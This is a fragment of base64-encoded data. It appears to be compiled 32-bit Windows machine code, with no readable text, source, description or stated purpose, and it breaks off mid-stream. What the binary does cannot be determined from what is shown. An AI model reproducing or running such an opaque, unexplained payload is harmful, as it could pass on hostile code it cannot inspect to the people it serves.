g9gAEAWYv4V/8VOOMDEFeJBugMcAEAgz4AWQ+VwF/DVYvsg+xAodAGBRAzxYlF/ItFCFZXM/87xw+UwcZF1wCJfcSJfdCEyXQHiX3QisHrCI110Oid////hMAPhPUAAACNRcRQjUXAUGoBV/910P8VMOMDEIXAD5VF14B91wAPhMMAAACJfcw5fcQPhq4AAACJfciLRcADRciNdeCLCIlN2ItICIlN3P9wBOh/QP//i0sEjUXYO8FzOIsTO9B3MivCaiSZXvf+i/A7Swh1B4vL6EW+//+LQwRr9iQDMzvHdDqLDokIi04Eg8YIiUgEVusiO0sIdQeLy+gdvv//i0MEO8d0F4tN2IkIi03ciUgEjU3gUY1wCOjIeP//g0MEJGoBM/+NdeDoNEr///9FzItFzINFyAw7RcQPglX/////dcD/FTTjAxA5fdB0Cf910P8VPOMDEItN/IpF118zzV7oUGgBAMnDVYvsgey8AAAAodAGBRAzxYlF+ItFCFZXM/87xw+UwYmFRP///8aFX////wCJvVD///+JvVT///+EyXQKib1U////isHrC421VP///+g+/v//hMAPhCECAACNhVD///9QjYVY////UGoBV/+1VP////8VLOMDEIXAD5WFX////4C9X////wAPhNoBAACJvUz///85vVD///8PhrwBAACJvUj////rBou9SP///4uFWP///4sMOIlNtItMOASJTbj/dDgIjXW86P0+//9qB1iJReyJRZCJRawzwGaJRZiNRZhQjYV8////UIuFWP///zP2M8mJdehmiU3YiXWMZomNfP///4l1qP90BwyLhUT////otcj//4PEDITAdCtq/1aNRZiNTdjoukf//41F2Oi9yv//Vo2FfP///1CDyP+Nddjo7Jj//+thjUXYUIuFWP////90BwzoPMj//1lZhMB1V4uFWP///zl0BwyNRdh0PWgkLwQQUOhwPv//Vo2FYP///2oBUOiy0f//g8QMVlCDyP+NddjomJj//2oBM/+NtWD////oUUj//zP26wtoQC8EEFDoMz7//4tDBI1NtDvIcy6LC41VtDvKdyWL+iv5wf8GO0MIdQeL0+ixAAAAi0sEO850JovHweAGAwOL+esWO0MIdQeL0+iTAAAAi3sEO/50CI1FtOimAQAAg0MEQGoBM/+NdZjo30f//2oBjb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v0aPQyBBDojy///42daP///+hy+///i7Vk////6PANAADoYAEAAIPsEIv86FVvAACD7ByL9GgEMwQQ6Fsv//+D7ByL9Gg0MwQQ6Ewv//+NnWj////oL/v//4u1ZP///+itDQAA6B0BAACD7BCL/OiPAwEAg+wci/RoRDMEEOgYL///g+wci/RoZDMEEOgJL///jZ1o////6Oz6//+LtWT////oag0AAOjaAAAAg+wQi/zoXzgAAIPsHIv0aHAzBBDo1S7//4PsHIv0aBw0BBDoxi7//42daP///+ip+v//i7Vk////6CcNAADolwAAAIPsEIv86G3dAACD7ByL9GgwNAQQ6JIu//+D7ByL9GiQNAQQ6IMu//+NnWj////oZvr//4u1ZP///+jkDAAA6FQAAACD7BCL/OigRgAAg+wci/RopDQEEOhPLv//g+wci/RoyDQEEOhALv//jZ1o////6CP6//+LtWT////ooQwAAOgRAAAAi038X14zzbABW+icVgEAycNWV41zOOiWDQAAagGNcxwz/+gvOP//agGL8+gmOP//X17DVYvsg+T4g+wwodAGBRAzxIlEJCwzwFbHA6A5BBBXi/mJQwSJQwiJQwyLy4l8JBSJQxTo9/n//77QNAQQVv8VGOIDEGhQNQQQUWhcNQQQUWogUWhoNQQQUWh0NQQQUVb/NYgaBRDoCVb//4PEDFDoAFb//4PEDFDoiWn//4PEDFDog8f//4PEDFDod2n//4PEDFDo3FX//1lZi/BW6EuS///oiSr//2gANQQQVujCVf//WVmL8FboMZL//+hvKv//xkQkDwGF/w+EwwAAAIsHiUQkEOsIi3wkFItEJBA7RwQPhJ8AAABQjXQkHOi3Zf//oYgaBRBQi/Do75H//+gtKv//aKg1BBBRaMw1BBBW6GBV//+DxAxQ6FdV//9ZWYXAdQQzyesHiwiLSQQDyItRFIHi//P//4HKAAIAAIlRFI1MJBhRUOhYkv//WVmL8FbomJH//+jWKf//jUQkGFBT6FkBAABqATP/jXQkHIhEJBPorjb//4NEJBAcgHwkDwAPhVD///+AfCQPAA+ExAAAAGoc6ANcAQBZhcB0FoNgEAAzycdAFAcAAABmiQiJRCQQ6wWDZCQQAL8gIQUQoYgaBRBQi/DoI5H//+hhKf//aOA1BBBRaMw1BBBW6JRU//+DxAxQ6ItU//9ZWYXAdQQzyesHiwiLSQQDyItBFCX/8///DQACAACJQRShICEFEItIBGoKA8/oW07//w+3wFD/dCQUV+hHiP//g8QM/3QkEFPoiAAAAITAdYODfCQQAHQUi3QkEGoBM//o1jX//1bonloBAFm+ECAFEOjRKP//i0wkNF9eM8yLw+gLVAEAi+Vdw1WL7FaL8egUAAAA9kUIAXQHVuhpWgEAWYvGXl3CBACh/C8FEFaL8ccGoDkEEIXAdAdQ/xWA4QMQ6F3dAADo9HEAAIPGBOj3CQAAXsNVi+yB7LwAAACh0AYFEDPFiUX8i0UIU1ZXiYVo////i0UMM/85eBCJhVT///8PlMOE2w+FZgEAAIN4FAhyBIsI6wKLyA+3CYP5IQ+EKQEAAIP5Kg+ECgEAAIP5QA+EAQEAAFCNdeDof2P//2oBjYVs////UIvGib1Y////ib1c////ib1g////x4Vs////IAAAAOiOCQAAiYVs////g/j/D4SWAAAAUIvGV1CNtXD////ojIL//4vYjUXg6OM///9qATP/6J00//+LhWz///9q/0BQ/7VU////jXWM6GGC//9QjY1E////6DqA//+L+I2FWP///1k7x3Qri/DoO4T//4sHiYVY////i0cEiYVc////i0cIiYVg////M8CJB4lHBIlHCI21RP///+gMhP//agEz/411jOgqNP//i41o////jYVY////UI1V4OhgAAAAjbVY////itjo3oP//4114Osyav9qAVCNdajo0oH//4vI6MMEAADrGmr/agFQjXXE6LyB//+LjWj///+L0OgMAwAAithqATP/6Mgz//+LTfxfXorDM81b6A5SAQDJwggAVYvsg+xoodAGBRAzxYlF/ItFCFNWV4v6agKL2YlFoGjoNQQQi8eJXZiJfZzoQwgAAGgQIwQQjXXgiUWk6EMp//9XjXXE6O9h//+DfaT/dEn/daSNdahqAFfoM4H//4vYjUXg6Io+//9qATP/6EQz//+LRaRq/4PAAlD/dZyNdajoDIH//4vYjUXE6GM+//9qAegfM///i12Yi3sE6xGLx41N4Oh6VP//hcB0c4PHSDt7CHXqaPA1BBBRjUXgUFFobDYEEP81iBoFEOg2Uf//g8QMUOhcjv//g8QMUOgkUf//WVmL8Fbok43//+jRJf//Vu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